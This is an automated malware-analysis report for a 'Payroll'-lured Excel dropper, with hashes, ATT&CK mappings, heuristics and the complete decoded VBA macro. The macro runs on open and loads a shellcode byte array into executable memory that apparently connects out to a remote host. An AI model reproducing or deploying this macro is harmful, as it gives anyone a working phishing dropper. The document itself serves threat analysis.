Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 e317815f5173425f…

MALICIOUS

Office (OLE)

31.5 KB Created: 2018-06-07 21:48:20 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 112545ce8d8f7540ccb721fc48aae555 SHA-1: 98758407af0c9b716ac065ef6cbc6d5acd09d482 SHA-256: e317815f5173425f785998bea9e1f5c2951581877596941b5efe745f7483a6a6
124 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is detected as malicious by ClamAV and contains VBA macros, including AutoOpen and Workbook_Open, indicating it is designed to execute automatically upon opening. The VBA script utilizes Windows API functions like VirtualAlloc and CreateThread, suggesting it is intended to allocate memory and execute shellcode, likely to download and run a second-stage payload. The document body mentions 'Payroll', a common lure for phishing attacks.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Xbvc As Long, Uyq As Variant, Xwgagrhww As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4252 bytes
SHA-256: 80e4ed8993369d630db50b709b7aeeefd22c3ab70c6b7d344f3eacd9493d4cef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Tvgh As Long, ByVal Nbspwrmp As Long, ByVal Iupq As LongPtr, Mbiczena As Long, ByVal Ywyorpp As Long, Zxd As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xgfj As Long, ByVal Ucerfvkm As Long, ByVal Ycsktk As Long, ByVal Xdkcztmrl As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Gjfd As LongPtr, ByRef Ecwk As Any, ByVal Emqsvyt As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Tvgh As Long, ByVal Nbspwrmp As Long, ByVal Iupq As Long, Mbiczena As Long, ByVal Ywyorpp As Long, Zxd As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xgfj As Long, ByVal Ucerfvkm As Long, ByVal Ycsktk As Long, ByVal Xdkcztmrl As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Gjfd As Long, ByRef Ecwk As Any, ByVal Emqsvyt As Long) As Long
#End If

Sub Auto_Open()
    Dim Xbvc As Long, Uyq As Variant, Xwgagrhww As Long
#If VBA7 Then
    Dim Uljphe As LongPtr, Hszkz As LongPtr
#Else
    Dim Uljphe As Long, Hszkz As Long
#End If
    Uyq = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 198, 145, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 97, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, _
0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 34, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 233, 113, 255, 255, 255, 1, 195, 41, 198, 117, _
199, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Uljphe = VirtualAlloc(0, UBound(Uyq), &H1000, &H40)
    For Xwgagrhww = LBound(Uyq) To UBound(Uyq)
        Xbvc = Uyq(Xwgagrhww)
        Hszkz = RtlMoveMemory(Uljphe + Xwgagrhww, Xbvc, 1)
    Next Xwgagrhww
    Hszkz = CreateThread(0, 0, Uljphe, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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